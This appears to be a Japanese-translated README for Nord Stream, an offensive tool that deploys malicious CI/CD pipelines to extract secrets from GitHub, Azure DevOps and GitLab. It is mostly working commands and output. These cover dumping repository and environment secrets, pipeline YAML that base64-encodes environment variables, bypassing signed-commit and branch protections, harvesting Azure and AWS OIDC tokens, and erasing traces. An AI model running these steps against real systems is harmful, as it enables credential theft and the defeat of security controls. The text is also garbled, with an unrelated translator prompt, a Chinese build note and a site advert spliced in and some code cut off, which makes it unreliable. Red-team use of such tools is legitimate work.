Nord Stream は、悪意のある パイプラインをデプロイすることで CI/CD 環境内に保存されたシークレットを抽出できるツールです。
現在、Azure DevOps、GitHub、GitLab をサポートしています。
詳細は以下のブログ記事をご覧ください: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` も必須です (https://git-scm.com/download/ を参照)。`PATH` 内に存在する必要があります。
## 使用方法
以下に GitHub での簡単な例を示します。最初に、さまざまなシークレットを列挙できます。```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
その後、exfiltrationに進みます:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### 共有引数
一部の引数は [GitHub](#github)、[Azure DevOps](#azure-devops)、[GitLab](#gitlab) 間で共有されています。以下はその例です。
#### トークンの説明
`--describe-token` オプションを使用すると、トークンに関する一般的な情報を表示できます:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
--build-yaml オプションは、パイプラインをデプロイせずにパイプラインファイルを作成するために使用できます。このオプションは、関連するパイプラインを構築するためにさまざまなシークレット名を取得し、カスタムステップを追加するために使用できます:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
`--yaml` オプションを使用して、カスタムパイプラインをデプロイできます:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
KitPloit - ペンテスターおよびセキュリティ研究者向けのペネトレーションテスト&ハッキングツール。 KitPloit は2011年以来、セキュリティツール、ハッキングツール、サイバーセキュリティ、ネットワークセキュリティの主要な情報源です。ドキュメントを探索して、業務に必要なツールを見つけてください。
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
デフォルトでは、`init` ジョブの `command` という名前のタスクの出力が表示されますが、すべてはローカルに保存され、手動でアクセスできます:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
デフォルトでは、Nord Stream はパイプラインのデプロイ後に残された痕跡を、権限に応じて削除しようとします。痕跡を残すには、--no-clean オプションを使用できます。これによりパイプラインのログは保持されますが、リポジトリへの変更は引き続き元に戻されます。
GitLab では、一部の痕跡を削除できない場合があることに注意してください。
リポジトリ管理者は、ブランチに対して必須のコミット署名を有効にし、署名され検証されていないすべてのコミットをブロックできます。Nord Stream を使用すると、コミットに署名してこのような保護を回避できます。
まず、SCM プラットフォームで GPG キーを作成してインポートします。```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
翻訳対象のMarkdownコンテンツを入力してください。```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
Linux (amd64)
./compile.sh linux amd64 local
Windows (amd64)
./compile.sh windows amd64 local
如果发生错误,请确保已安装好 gcc-arm-linux-gnueabi 和 go,且 $GOROOT/bin 已追加到 $PATH 中。```bash
$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
gpg: Good signature from "test-gpg [email protected]" [ultimate]
Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream は次の種類のシークレットを抽出できます:
- 変数グループ (vg)
- セキュアファイル (sf)
- サービス接続
#### サービス接続
Azure DevOps では、ジョブ内のタスクを実行するために、外部およびリモートサービスとの接続を作成できます。そのために、サービス接続が使用されます。サービス接続には、リモートサービスへの ID の資格情報が保持されます。Azure DevOps には、複数の種類のサービス接続があります。
Nord Stream は現在、次の種類のサービス接続に対するシークレット抽出をサポートしています:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
サポートされていない種類に遭遇した場合は、issue を開くか、プルリクエストを作成してください :)
##### SSH
このサービス接続タイプの抽出は、実装が困難でした。出力は次のとおりです:```
hostname:::port:::user:::password:::privatekey
セルフホストランナーで実行したい場合は、次のようにします。```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
次に、以下の操作が必要です:
1) `vmImage: ubuntu-latest` を `name: 'Self-Hosted pool name'` に変更します。
2) `#FIXME` プレースホルダーにサービス接続の名前を追加します。
3) パイプラインを `--yaml test.yml` でデプロイします。
これをWindowsセルフホステッドランナーで実行する必要がある場合は、`generatePipelineForSSH`メソッド内で`_serviceConnectionTemplateSSH`を`_serviceConnectionTemplateSSHWindows`に変更し、前述の操作を実行してください。
注:WindowsとLinuxの両方のセルフホステッドランナーで、ランナーがデプロイされているパスに合わせてパス(`/home/vsts/work/_tasks/` または `D:\a\`)を調整する必要があります。この情報は、Azure DevOpsのエージェントの`Capabilities`タブで取得できます。
#### 組織の一覧表示
アクセストークンを使用すると、ユーザーに結び付けられた組織を一覧表示できます:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
これはこの研究に基づいています。
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### 保護の一覧
`--list-protections` オプションを使用すると、ブランチおよび環境に適用された保護を一覧表示できます:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
権限に応じて、確認できる情報は少なくなります。保護の完全な詳細を確認できるのは管理者のみです。
--disable-protections オプションを使用すると、ブランチまたは環境に適用されている保護を一時的に無効化し、ダンプを実行して、すべての保護を復元できます。```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
これには管理者権限が必要です。
#### 強制
デフォルトでは、Nord Stream がブランチまたは環境に保護が設定されていることを検出した場合、シークレットの抽出は実行されません。保護が緩すぎる、または自分の権限でバイパスできると判断した場合は、`--force` オプションを使用して、保護に関係なくパイプラインを展開できます。
#### Azure OIDC
OIDC(OpenID Connect)は、クラウドサービスへの接続に使用できます。一般的な考え方としては、承認されたパイプラインやワークフローが、静的シークレットを使わずに、クラウドプロバイダーから直接、短期間有効なアクセストークンを取得できるようにするというものです。認可は、クラウドプロバイダー側で構成された信頼関係に基づき、パイプラインまたはワークフローの発信元によって条件付けられます。
以下は、OIDC を使用する GitHub ワークフローの例です。```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
そのようなワークフローを見つけた場合、そのリポジトリがAzureリソースにアクセスできる短期間のアクセストークンを取得するように構成されている可能性があります。
Nord Streamは、以下のオプションを使用して、そのようなアクセストークンを取得するパイプラインをデプロイできます。```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
`--azure-subscription-id` はオプションで、特定のサブスクリプションのアクセストークンを取得するために使用できます。
#### AWS OIDC
同じ手法([Azure OIDC](#azure-oidc) を参照)を使用して、AWS でセッショントークンを取得できます。
以下は、AWS OIDC を使用したワークフローの例です:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
このようなワークフローに出くわした場合、そのリポジトリがAWSリソースへのアクセスを許可するAWSアクセストークンを取得するように構成されている可能性があることを意味します。
Nord Streamは、以下のオプションを使用して、そのようなアクセストークンを取得するためのパイプラインを展開できます。```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### ヘルプ```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
記事で説明されているように、パイプラインのデプロイ後にアクティビティタブのログを削除する方法はありません。これはRed Teamエンゲージメント中に考慮する必要があります。
--list-secrets オプションを使用して、GitLabからシークレットを一覧表示および抽出できます。
GitLabがシークレットを管理する方法は、Azure DevOpsやGitHub actionとは少し異なります。プロジェクト、グループへの管理者アクセス、またはGitLabインスタンスへの管理者アクセスがあれば、パイプラインをデプロイせずに定義されているすべてのCI/CD変数を抽出できます。
しかし、低特権ユーザーからは、プロジェクト/グループ/インスタンスレベルで定義されているシークレットを一覧表示することはできません。ただし、ユーザーがプロジェクトに対して書き込み権限を持っている場合、悪意のあるパイプラインをデプロイして環境変数を外部に送信し、CI/CD変数を露出させることができます。これは、低特権ユーザーが特定のプロジェクトでシークレットが定義されているかどうかを知る手段がないことを意味します。唯一の方法は、プロジェクトに既に存在する正当なパイプラインを調べ、パイプラインが機密性の高い環境変数を使用しているかどうかを確認することです。
GitLabでこの操作を実行するためのパイプラインファイルは次のとおりです:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
GitLabはAzure DevOpsと同様にセキュアファイルをサポートしています。セキュアファイルはプロジェクトレベルで定義されます。変数と同様に、プロジェクトへの管理者アクセスがなければセキュアファイルを一覧表示することはできません。ただし、管理者アクセスがあれば、nord-streamはプロジェクトに関連するセキュアファイルの奪取を試みます。
#### YAML
[YAML](#yaml)と同じですが、次のように完全なプロジェクトパスを指定する必要があります:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
--list-projects コマンドの出力はそのようなパスを返します。
GitHub の保護の一覧 と同じ
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --url <gitlab_url> Gitlab URL [default: https://gitlab.com] --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## TODO
- [ ] Azure DevOps Server インスタンス(オンプレミスソリューション)に対応するURLのサポートを追加
- [ ] Windowsホスト経由でシークレットを抽出するオプションを追加
- [ ] 他のCI/CD環境(Jenkins/Bitbucket)のサポートを追加
- [ ] GitHub REST APIの代わりにGitHub GraphQL APIを使用して、ブランチ保護ルールを一覧表示し、プッシュしようとしている悪意のあるブランチに一致する場合は一時的に無効化する
## Contact
不具合、問題、質問、機能リクエストは「Issues」に提出するか、Twitter [@hugow](https://twitter.com/hugow_vincent) と [@0hexit](https://twitter.com/0hexit) までお送りください。